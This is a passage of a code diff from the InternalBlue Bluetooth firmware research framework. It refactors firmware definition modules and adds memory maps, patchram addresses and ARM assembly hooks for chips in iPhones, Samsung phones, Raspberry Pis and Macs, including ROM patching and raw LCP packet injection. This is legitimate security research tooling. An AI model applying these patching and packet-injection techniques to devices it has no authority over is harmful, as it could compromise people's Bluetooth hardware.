0x000f | 0x09 | 0x420e | BCM4347B1 | iPhone 8, XR, X | Oct 11 2016
|
||||
0x0131 | 0x09 | 0x420e | CYW20739B1 | Bluetooth 5.0 BLE Evaluation Kit CYW920719Q40EVB-01 | Jan 17 2017
|
||||
0x000f | 0x09 | 0x4307 | | iPhone XS, iPhone Xs Max
|
||||
0x000f | 0x09 | 0x4309 | | Samsung Galaxy Note 9, Samsung Galaxy S9+
|
||||
0x0131 | 0x09 | 0x6119 | BCM4345C0 | Raspberry Pi 4 with Bluetooth 5 patches, same ROM as 3+ | Aug 19 2014
|
||||
0x000f | 0x09 | 0x4307 | BCM4377B2 | iPhone XS (Aladdin), iPhone Xs Max (Genie), iPad Pro 11" 3E149FD/A, iPad Pro 11" 3E148FD/A, iPad Pro 12.9" 3rd gen 3D941FD/A, iPad mini 5th gen 3F559FD/A, iPad Air 3rd gen 3F561FD/A
|
||||
0x000f | 0x09 | 0x4309 | | Samsung Galaxy Note 9, Samsung Galaxy S9, S9+
|
||||
0x0131 | 0x09 | 0x6119 | BCM4345C0 | Raspberry Pi 3+/4 --- *with Bluetooth 5 patches, same ROM as 3+* | Aug 19 2014
|
||||
0x000f | 0x09 | 0x6214 | BCM4355C1 | iPad 6th gen 3D575FD/A, iPad 6th gen MRJN2FD/A, iPad 6th gen MR7J2FD/A A1893 (FigaroA)
|
||||
0x000f | 0x0a | 0x4228 | BCM4378B1 | iPhone 11 (Hei), iPhone 11 Pro (Moana), iPhone 11 Pro Max (Tala) --- *announce BT 5.1 over the air despite being specified as BT 5 online*
|
||||
|
||||
|
||||
|
||||
@@ -73,6 +89,7 @@ There is a couple of issues causing trouble running *InternalBlue*, which are re
|
||||
* CYW20735B1
|
||||
* `Launch_RAM` works in principle, but threading seems to be broken if the executed code generates other HCI events.
|
||||
A hook at `0xB0316` is a nice spot to implement a function that generates HCI events and can be called via the HCI command `0xfc19`.
|
||||
The general solution seems to be `self.internalblue.patchRom(0x3d32e, "\x70\x47\x70\x47")` respectively `patch -a 0x3d32e --asm bx lr`, which fixes that the baud rate is set to a wrong value during `Launch_RAM`.
|
||||
|
||||
Firmware Version and Build Date
|
||||
-------------------------------
|
||||
@@ -84,62 +101,6 @@ On newer chips, the build information is located in the beginning of the stack.
|
||||
|
||||
hd 0x200400
|
||||
|
||||
|
||||
|
||||
Firmware Related Setup
|
||||
----------------------
|
||||
The following steps are required to use the CYW20735B1 evaluation kit as normal HCI device on Linux with BlueZ.
|
||||
|
||||
|
||||
**1. Setup as HCI device**
|
||||
|
||||
You need to set the baud rate to 3 Mbit/s. Replace `/dev/ttyUSB0` with your device.
|
||||
|
||||
btattach -B /dev/ttyUSB0 -S 3000000
|
||||
|
||||
If this does not work directly, use:
|
||||
|
||||
stty -F /dev/ttyUSB0 3000000
|
||||
btattach -B /dev/ttyUSB0
|
||||
|
||||
**2. Use with BlueZ**
|
||||
|
||||
Assuming that you already have a regular Bluetooth device, you new device is `hci1`.
|
||||
|
||||
hciconfig hci1 up
|
||||
|
||||
You can list your HCI devices:
|
||||
|
||||
hcitool dev
|
||||
|
||||
**3. Command line tools for connections**
|
||||
|
||||
Scanning for devices:
|
||||
|
||||
hcitool scan
|
||||
hcitool lescan
|
||||
|
||||
Connections and pairing:
|
||||
|
||||
bluetoothctl
|
||||
|
||||
Enter into `bluetoothctl` command prompt:
|
||||
|
||||
power on
|
||||
agent on
|
||||
default-agent
|
||||
scan on
|
||||
|
||||
Optional - accept connections:
|
||||
|
||||
advertise on
|
||||
pairable on
|
||||
discoverable on
|
||||
|
||||
Do a pairing and then connect:
|
||||
|
||||
pair aa:bb:cc:dd:ee:ff
|
||||
connect aa:bb:cc:dd:ee:ff
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
from .fw import FirmwareDefinition
|
||||
|
||||
+114
-20
@@ -1,4 +1,4 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python
|
||||
|
||||
# fw.py
|
||||
#
|
||||
@@ -23,11 +23,86 @@
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from builtins import hex
|
||||
from builtins import object
|
||||
from types import ModuleType
|
||||
from typing import List
|
||||
|
||||
|
||||
from internalblue import Address
|
||||
from pwn import log
|
||||
|
||||
|
||||
class Firmware:
|
||||
def __init__(self, version=None):
|
||||
class MemorySection(object):
|
||||
"""
|
||||
All firmwares have memory sections that can be RAM, ROM or neither of both.
|
||||
"""
|
||||
|
||||
def __init__(self, start_addr, end_addr, is_rom, is_ram):
|
||||
self.start_addr: Address = start_addr
|
||||
self.end_addr: Address = end_addr
|
||||
self.is_rom: bool = is_rom
|
||||
self.is_ram: bool = is_ram
|
||||
|
||||
def size(self) -> int:
|
||||
return self.end_addr - self.start_addr
|
||||
|
||||
|
||||
class FirmwareDefinition:
|
||||
|
||||
DEVICE_NAME: Address
|
||||
|
||||
BD_ADDR: Address
|
||||
|
||||
SECTIONS: List[MemorySection]
|
||||
TRACEPOINT_BODY_ASM_SNIPPET: str
|
||||
TRACEPOINT_HOOKS_LOCATION: int
|
||||
TRACEPOINT_RAM_DUMP_PKT_COUNT = None
|
||||
|
||||
CONNECTION_STRUCT_LENGTH: int
|
||||
|
||||
FW_NAME: str
|
||||
|
||||
QUEUE_NAMES: List[str]
|
||||
QUEUE_HEAD: Address
|
||||
BLOC_HEAD: Address
|
||||
SENDLCP_CODE_BASE_ADDRESS: Address
|
||||
|
||||
SENDLCP_ASM_CODE: str
|
||||
|
||||
SENDLMP_CODE_BASE_ADDRESS: Address
|
||||
SENDLMP_ASM_CODE: str
|
||||
|
||||
FUZZLMP_HOOK_ADDRESS: Address
|
||||
FUZZLMP_CODE_BASE_ADDRESS: Address
|
||||
FUZZLMP_ASM_CODE: str
|
||||
|
||||
CONNECTION_LIST_ADDRESS: Address
|
||||
CONNECTION_ARRAY_ADDRESS: Address
|
||||
CONNECTION_MAX: int
|
||||
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS: Address
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS: Address
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS: Address
|
||||
PATCHRAM_ALIGNED: bool
|
||||
PATCHRAM_NUMBER_OF_SLOTS: int
|
||||
|
||||
LAUNCH_RAM_PAUSE = None
|
||||
LAUNCH_RAM = Address
|
||||
HCI_EVENT_COMPLETE = Address
|
||||
|
||||
READ_MEM_ALIGNED_ASM_LOCATION: Address
|
||||
READ_MEM_ALIGNED_ASM_SNIPPET: str
|
||||
|
||||
TRACEPOINT_HOOK_SIZE = None
|
||||
TRACEPOINT_BODY_ASM_LOCATION: Address
|
||||
TRACEPOINT_HOOK_ASM = None
|
||||
|
||||
|
||||
class Firmware(object):
|
||||
firmware: FirmwareDefinition
|
||||
|
||||
def __init__(self, version=None, iOS=False):
|
||||
"""
|
||||
Load and initialize the actual firmware add-ons for Nexus 5, Raspi3, etc.
|
||||
|
||||
@@ -35,34 +110,53 @@ class Firmware:
|
||||
"""
|
||||
|
||||
self.version = version
|
||||
self.firmware = None
|
||||
|
||||
if version:
|
||||
# get LMP Subversion
|
||||
log.info("Chip identifier: 0x%04x (%03d.%03d.%03d)" %
|
||||
(version, version >> 13, (version & 0xf00) >> 8, version & 0xff))
|
||||
log.info(
|
||||
"Chip identifier: 0x%04x (%03d.%03d.%03d)"
|
||||
% (version, version >> 13, (version & 0xF00) >> 8, version & 0xFF)
|
||||
)
|
||||
|
||||
try:
|
||||
self.firmware = __import__(__name__ + '_' + hex(version), fromlist=[''])
|
||||
log.info("Using fw_" + hex(version) + ".py")
|
||||
# Fix for duplicate version number of evaluation board / iPhones
|
||||
if iOS and version == 0x420E:
|
||||
self.firmware = self._module_to_firmware_definition(
|
||||
__import__(
|
||||
__name__ + "_" + hex(version) + "_iphone", fromlist=[""]
|
||||
)
|
||||
)
|
||||
log.info("Using fw_" + hex(version) + "_iphone.py")
|
||||
else:
|
||||
self.firmware = self._module_to_firmware_definition(
|
||||
__import__(__name__ + "_" + hex(version), fromlist=[""])
|
||||
)
|
||||
log.info("Using fw_" + hex(version) + ".py")
|
||||
except ImportError:
|
||||
self.firmware = None
|
||||
pass
|
||||
|
||||
if not version or not self.firmware:
|
||||
self.firmware = __import__(__name__ + '_default', fromlist=[''])
|
||||
self.firmware = self._module_to_firmware_definition(
|
||||
__import__(__name__ + "_default", fromlist=[""])
|
||||
)
|
||||
|
||||
log.info("Loaded firmware information for " + self.firmware.FW_NAME + ".")
|
||||
|
||||
def _module_to_firmware_definition(self, fw: ModuleType) -> FirmwareDefinition:
|
||||
"""
|
||||
Wrap existing usages where the module was used and extract the new FirmwareDefinition class
|
||||
|
||||
class MemorySection:
|
||||
"""
|
||||
All firmwares have memory sections that can be RAM, ROM or neither of both.
|
||||
"""
|
||||
def __init__(self, start_addr, end_addr, is_rom, is_ram):
|
||||
self.start_addr = start_addr
|
||||
self.end_addr = end_addr
|
||||
self.is_rom = is_rom
|
||||
self.is_ram = is_ram
|
||||
:param fw:
|
||||
:return:
|
||||
"""
|
||||
_types = {
|
||||
name: cls
|
||||
for name, cls in fw.__dict__.items()
|
||||
if isinstance(cls, type)
|
||||
and issubclass(cls, FirmwareDefinition)
|
||||
and not cls is FirmwareDefinition
|
||||
}
|
||||
|
||||
def size(self):
|
||||
return self.end_addr - self.start_addr
|
||||
if len(_types) == 1:
|
||||
return list(_types.values())[0]
|
||||
|
||||
@@ -0,0 +1,161 @@
|
||||
# fw_0x420e.py
|
||||
#
|
||||
# Generic firmware file in case we do not know something...
|
||||
#
|
||||
# Copyright (c) 2019 Jiska Classen. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
# the Software without restriction, including without limitation the rights to
|
||||
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
# the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
# subject to the following conditions:
|
||||
# - The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
# - The Software is provided "as is", without warranty of any kind, express or
|
||||
# implied, including but not limited to the warranties of merchantability,
|
||||
# fitness for a particular purpose and noninfringement. In no event shall the
|
||||
# authors or copyright holders be liable for any claim, damages or other
|
||||
# liability, whether in an action of contract, tort or otherwise, arising from,
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
|
||||
class BCM4375B1(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# Samsung S10/S10e/S10+
|
||||
FW_NAME = "BCM4375B1"
|
||||
|
||||
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x207F2A
|
||||
BD_ADDR = 0x2026E2
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x0013FFFF, True, False), # Internal ROM
|
||||
MemorySection(0x00160000, 0x0017FFFF, False, True), # Patches
|
||||
MemorySection(0x00200000, 0x00288000, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(0x00300000, 0x0037FFFF, False, True),
|
||||
]
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x160000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 256
|
||||
PATCHRAM_ALIGNED = False
|
||||
|
||||
BLOC_HEAD = 0x20075C
|
||||
BLOC_NG = True
|
||||
|
||||
# Assembler snippet for tracepoints
|
||||
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
|
||||
# TODO S10e does no longer have a patch uninstall function... writemem works to remove patches, but copying
|
||||
# Assembly of the original function from an eval board does not work...
|
||||
# TRACEPOINT_BODY_ASM_LOCATION = 0x00218300
|
||||
# TRACEPOINT_HOOKS_LOCATION = 0x00218500
|
||||
# TRACEPOINT_HOOK_SIZE = 40
|
||||
TRACEPOINT_HOOK_ASM = """
|
||||
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
|
||||
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
|
||||
mov r9, %d // addTracepoint() injects the patchram slot of the hook patch
|
||||
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
|
||||
pop {r0-r12, lr} // restore registers
|
||||
|
||||
// branch back to the original instruction
|
||||
b 0x%x // addTracepoint() injects the address of the tracepoint
|
||||
"""
|
||||
|
||||
TRACEPOINT_BODY_ASM_SNIPPET = """
|
||||
|
||||
mov r8, lr // save link register in r8
|
||||
|
||||
b delete_slot
|
||||
|
||||
// dump registers like before
|
||||
|
||||
// save status register in r5
|
||||
mrs r5, cpsr
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
|
||||
bl 0x6cfe2 // hci_allocateEventBlockWithLen(0xff, 78) #DONE
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append our custom header (the word 'TRACE_') after the event code and event length field
|
||||
add r0, 2 // write after the length field
|
||||
ldr r1, =0x43415254 // 'TRAC'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
ldr r1, =0x5f45 // 'E_'
|
||||
strh r1, [r0]
|
||||
add r0, 2 // advance the pointer. r0 now points to the start of the register values
|
||||
|
||||
// store pc
|
||||
str r6, [r0] // r6 still contains the address of the original pc
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store sp
|
||||
mov r1, 56 // 14 saved registers * 4
|
||||
add r1, sp
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store status register
|
||||
str r5, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store other registers
|
||||
mov r1, sp
|
||||
mov r2, 56
|
||||
bl 0x2774 // memcpy(dst, src, len) #DONE
|
||||
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
bl 0x6cfa8 // hci_sendEvent #DONE
|
||||
|
||||
// restore status register
|
||||
msr cpsr_f, r5
|
||||
|
||||
bl 0x6af24 // bthci_event_vs_DBFW_CoreDumpRAMImageEvent #DONE
|
||||
|
||||
// not possible... could not find patch_uninstallPatchEntry(slot)
|
||||
// -> disable TP by hand, we stored in r9
|
||||
// TODO - does not work??
|
||||
delete_slot:
|
||||
mov r0, #0
|
||||
mov r1, r0
|
||||
lsl r0, r0, #0x2
|
||||
ldr r3, =0x00310404
|
||||
sub.w r0, r0, #0x400
|
||||
add r3, #0x3c
|
||||
add r0, r3
|
||||
movw r2, #0xffff
|
||||
str r2, [r0, #0x0]
|
||||
ldr r0,=0x00310404
|
||||
add r0, #0x2c
|
||||
ldr r2, [r0,#0x0]
|
||||
mov r3, #0x1
|
||||
lsl r3, r1
|
||||
bic r2, r3
|
||||
str r2, [r0, #0x0]
|
||||
|
||||
|
||||
mov lr, r8 // restore lr from r8
|
||||
bx lr // return
|
||||
|
||||
.align
|
||||
patchram:
|
||||
.byte 0x04
|
||||
.byte 0x04
|
||||
.byte 0x31
|
||||
.byte 0x00
|
||||
|
||||
"""
|
||||
Executable
+38
@@ -0,0 +1,38 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# fw_0x21d0.py
|
||||
#
|
||||
# Firmware file for BCM2046 chipsets. These chipsets are typically used for
|
||||
# in older MacBooks and iMacs.
|
||||
#
|
||||
# Copyright (c) 2020 Jiska Classen. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
# the Software without restriction, including without limitation the rights to
|
||||
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
# the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
# subject to the following conditions:
|
||||
# - The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
# - The Software is provided "as is", without warranty of any kind, express or
|
||||
# implied, including but not limited to the warranties of merchantability,
|
||||
# fitness for a particular purpose and noninfringement. In no event shall the
|
||||
# authors or copyright holders be liable for any claim, damages or other
|
||||
# liability, whether in an action of contract, tort or otherwise, arising from,
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
|
||||
class BCM2046(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
FW_NAME = "BCM2046" # iMac 2009
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x3FFFF, True, False), # Internal ROM
|
||||
MemorySection(0x80000, 0x89FFF, False, True), # Internal RAM
|
||||
]
|
||||
@@ -1,4 +1,4 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python
|
||||
|
||||
# fw_0x6119.py
|
||||
#
|
||||
@@ -25,51 +25,68 @@
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
# Firmware Infos
|
||||
# This runs on Rasperry Pi 3
|
||||
FW_NAME = "BCM43430A1"
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x20401C
|
||||
BD_ADDR = 0x201C64
|
||||
|
||||
# Memory Sections
|
||||
class MemorySection:
|
||||
def __init__(self, start_addr, end_addr, is_rom, is_ram):
|
||||
self.start_addr = start_addr
|
||||
self.end_addr = end_addr
|
||||
self.is_rom = is_rom
|
||||
self.is_ram = is_ram
|
||||
class BCM43430A1(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# This runs on Rasperry Pi 3
|
||||
FW_NAME = "BCM43430A1"
|
||||
|
||||
def size(self):
|
||||
return self.end_addr - self.start_addr
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x20401C
|
||||
BD_ADDR = 0x201C64
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x0, 0x90000, True , False),
|
||||
MemorySection(0xd0000, 0xd8000, False, True ),
|
||||
#MemorySection(0xe0000, 0x1f0000, True , False),
|
||||
MemorySection(0x200000, 0x228000, False, True ),
|
||||
MemorySection(0x260000, 0x268000, True , False),
|
||||
#MemorySection(0x280000, 0x2a0000, True , False),
|
||||
MemorySection(0x318000, 0x320000, False, False),
|
||||
MemorySection(0x324000, 0x360000, False, False),
|
||||
MemorySection(0x362000, 0x362100, False, False),
|
||||
MemorySection(0x363000, 0x363100, False, False),
|
||||
MemorySection(0x600000, 0x600800, False, False),
|
||||
MemorySection(0x640000, 0x640800, False, False),
|
||||
MemorySection(0x650000, 0x650800, False, False),
|
||||
#MemorySection(0x680000, 0x800000, False, False)
|
||||
]
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x0, 0x90000, True, False),
|
||||
MemorySection(0xD0000, 0xD8000, False, True),
|
||||
# MemorySection(0xe0000, 0x1f0000, True , False),
|
||||
MemorySection(0x200000, 0x21FFFF, False, True),
|
||||
# MemorySection(0x260000, 0x268000, True , False), # might crash? issue 14
|
||||
# MemorySection(0x280000, 0x2a0000, True , False),
|
||||
MemorySection(0x318000, 0x320000, False, False),
|
||||
MemorySection(0x324000, 0x360000, False, False),
|
||||
MemorySection(0x362000, 0x362100, False, False),
|
||||
MemorySection(0x363000, 0x363100, False, False),
|
||||
MemorySection(0x600000, 0x600800, False, False),
|
||||
MemorySection(0x640000, 0x640800, False, False),
|
||||
MemorySection(0x650000, 0x650800, False, False),
|
||||
# MemorySection(0x680000, 0x800000, False, False)
|
||||
]
|
||||
|
||||
# Connection Structure and Table
|
||||
#CONNECTION_ARRAY_ADDRESS = 0x204ba8
|
||||
#CONNECTION_MAX = 11
|
||||
#CONNECTION_STRUCT_LENGTH = 0x150
|
||||
# Connection Structure and Table
|
||||
# CONNECTION_LIST_ADDRESS = 0x204ba8
|
||||
CONNECTION_MAX = 11
|
||||
CONNECTION_STRUCT_LENGTH = 0x150 # TODO
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 128
|
||||
PATCHRAM_ALIGNED = False
|
||||
# Patchram
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0xD0000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 128
|
||||
PATCHRAM_ALIGNED = False
|
||||
|
||||
# Heap
|
||||
BLOC_HEAD = 0x200588 # g_dynamic_memory_GeneralUsePools
|
||||
BLOC_NG = True # Next Generation Bloc Buffer
|
||||
|
||||
# Snippet for sendLcpPacket()
|
||||
SENDLCP_CODE_BASE_ADDRESS = 0x21A000
|
||||
SENDLCP_ASM_CODE = """
|
||||
push {r4,lr}
|
||||
|
||||
// we want to call lmulp_sendLcp(conn_index, input, length)
|
||||
|
||||
mov r0, %d // connection index, starts at 0
|
||||
ldr r1, =payload
|
||||
mov r2, %d // length
|
||||
bl 0x8389A // lmulp_sendLcp
|
||||
|
||||
pop {r4,pc} // go back
|
||||
|
||||
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
|
||||
payload: // Note: the payload will be appended here by the sendLmpPacket() function
|
||||
"""
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
# fw_0x420e.py
|
||||
#
|
||||
# Generic firmware file in case we do not know something...
|
||||
#
|
||||
# Copyright (c) 2019 Jiska Classen. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
# the Software without restriction, including without limitation the rights to
|
||||
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
# the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
# subject to the following conditions:
|
||||
# - The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
# - The Software is provided "as is", without warranty of any kind, express or
|
||||
# implied, including but not limited to the warranties of merchantability,
|
||||
# fitness for a particular purpose and noninfringement. In no event shall the
|
||||
# authors or copyright holders be liable for any claim, damages or other
|
||||
# liability, whether in an action of contract, tort or otherwise, arising from,
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
|
||||
class CYW20706(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# Evaluation Kit CYW20706
|
||||
FW_NAME = "CYW20706"
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x000C7FFF, True, False), # Internal ROM
|
||||
MemorySection(0x000D0000, 0x000DFFFF, False, True),
|
||||
MemorySection(0x00200000, 0x00247FFF, False, True), # Internal Memory Cortex M3
|
||||
]
|
||||
|
||||
# Patchram
|
||||
# PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
# PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
# PATCHRAM_VALUE_TABLE_ADDRESS = 0x0d0000
|
||||
# PATCHRAM_NUMBER_OF_SLOTS = 256
|
||||
PATCHRAM_ALIGNED = True
|
||||
# only seems to work 4-byte aligned here ...
|
||||
@@ -20,27 +20,52 @@
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from fw import MemorySection
|
||||
|
||||
# Firmware Infos
|
||||
# Evaluation Kit CYW920819
|
||||
FW_NAME = "CYW20819"
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x00000000, 0x001fffff, True, False), # Internal ROM
|
||||
MemorySection(0x00200000, 0x0024ffff, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(0x00270000, 0x0027ffff, False, True), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00310000, 0x00321fff, False, True), # HW Regs Cortex M3 (readable)
|
||||
]
|
||||
class CYW20819A1(FirmwareDefinition):
|
||||
"""
|
||||
CYW20819 is a Cypress evaluation board, the newest one that is currently available.
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 256
|
||||
PATCHRAM_ALIGNED = False
|
||||
# only seems to work 4-byte aligned here ...
|
||||
Known issues:
|
||||
|
||||
* `Launch_RAM` does not terminate and crashes the board.
|
||||
|
||||
To get this working anyway:
|
||||
The `Launch_RAM` handler HCI callback is at `0xF2884` and it can be overwritten with the
|
||||
address of the memory snippet you want to launch. For example, at `0x219000` there is some
|
||||
free memory. Put the function there. Then:
|
||||
|
||||
`internalblue.patchRom(0xF2884, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
|
||||
|
||||
"""
|
||||
|
||||
# Firmware Infos
|
||||
# Evaluation Kit CYW920819
|
||||
FW_NAME = "CYW20819A1"
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x001FFFFF, True, False), # Internal ROM
|
||||
MemorySection(0x00200000, 0x0024FFFF, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(
|
||||
0x00270000, 0x0027FFFF, False, True
|
||||
), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00310000, 0x00321FFF, False, True), # HW Regs Cortex M3 (readable)
|
||||
]
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 256
|
||||
PATCHRAM_ALIGNED = False
|
||||
# only seems to work 4-byte aligned here ...
|
||||
|
||||
# Launch_RAM is faulty so we need to overwrite it. This is the position of the handler.
|
||||
LAUNCH_RAM = 0xF2884
|
||||
HCI_EVENT_COMPLETE = 0x1179E
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# fw_0x220e.py
|
||||
#
|
||||
@@ -22,20 +22,22 @@
|
||||
# liability, whether in an action of contract, tort or otherwise, arising from,
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
from fw import MemorySection
|
||||
|
||||
# Firmware Infos
|
||||
FW_NAME = "BCM20702A1 (USB Bluetooth dongle)"
|
||||
class BCM20702A1(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
FW_NAME = "BCM20702A1" # (USB Bluetooth dongle)
|
||||
|
||||
# Device Infos
|
||||
#DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
|
||||
#BD_ADDR = 0x280CA4 # rm_deviceBDAddr
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x00000000, 0x5ffff, True, False), # Internal ROM
|
||||
MemorySection(0x80000, 0x9bfff, False, True), # Internal RAM
|
||||
]
|
||||
BLOC_HEAD = 0x3166c
|
||||
# Device Infos
|
||||
# DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
|
||||
# BD_ADDR = 0x280CA4 # rm_deviceBDAddr
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x5FFFF, True, False), # Internal ROM
|
||||
MemorySection(0x80000, 0x9BFFF, False, True), # Internal RAM
|
||||
]
|
||||
BLOC_HEAD = 0x3166C
|
||||
|
||||
@@ -1,9 +1,5 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python
|
||||
|
||||
# fw_default.py
|
||||
#
|
||||
# Generic firmware file in case we do not know something...
|
||||
#
|
||||
# Copyright (c) 2019 Jiska Classen. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
@@ -22,26 +18,30 @@
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from fw import MemorySection
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
# Firmware Infos
|
||||
FW_NAME = "BCM20703A2 (MacBook Pro 2016)"
|
||||
|
||||
# Symbols contained in:
|
||||
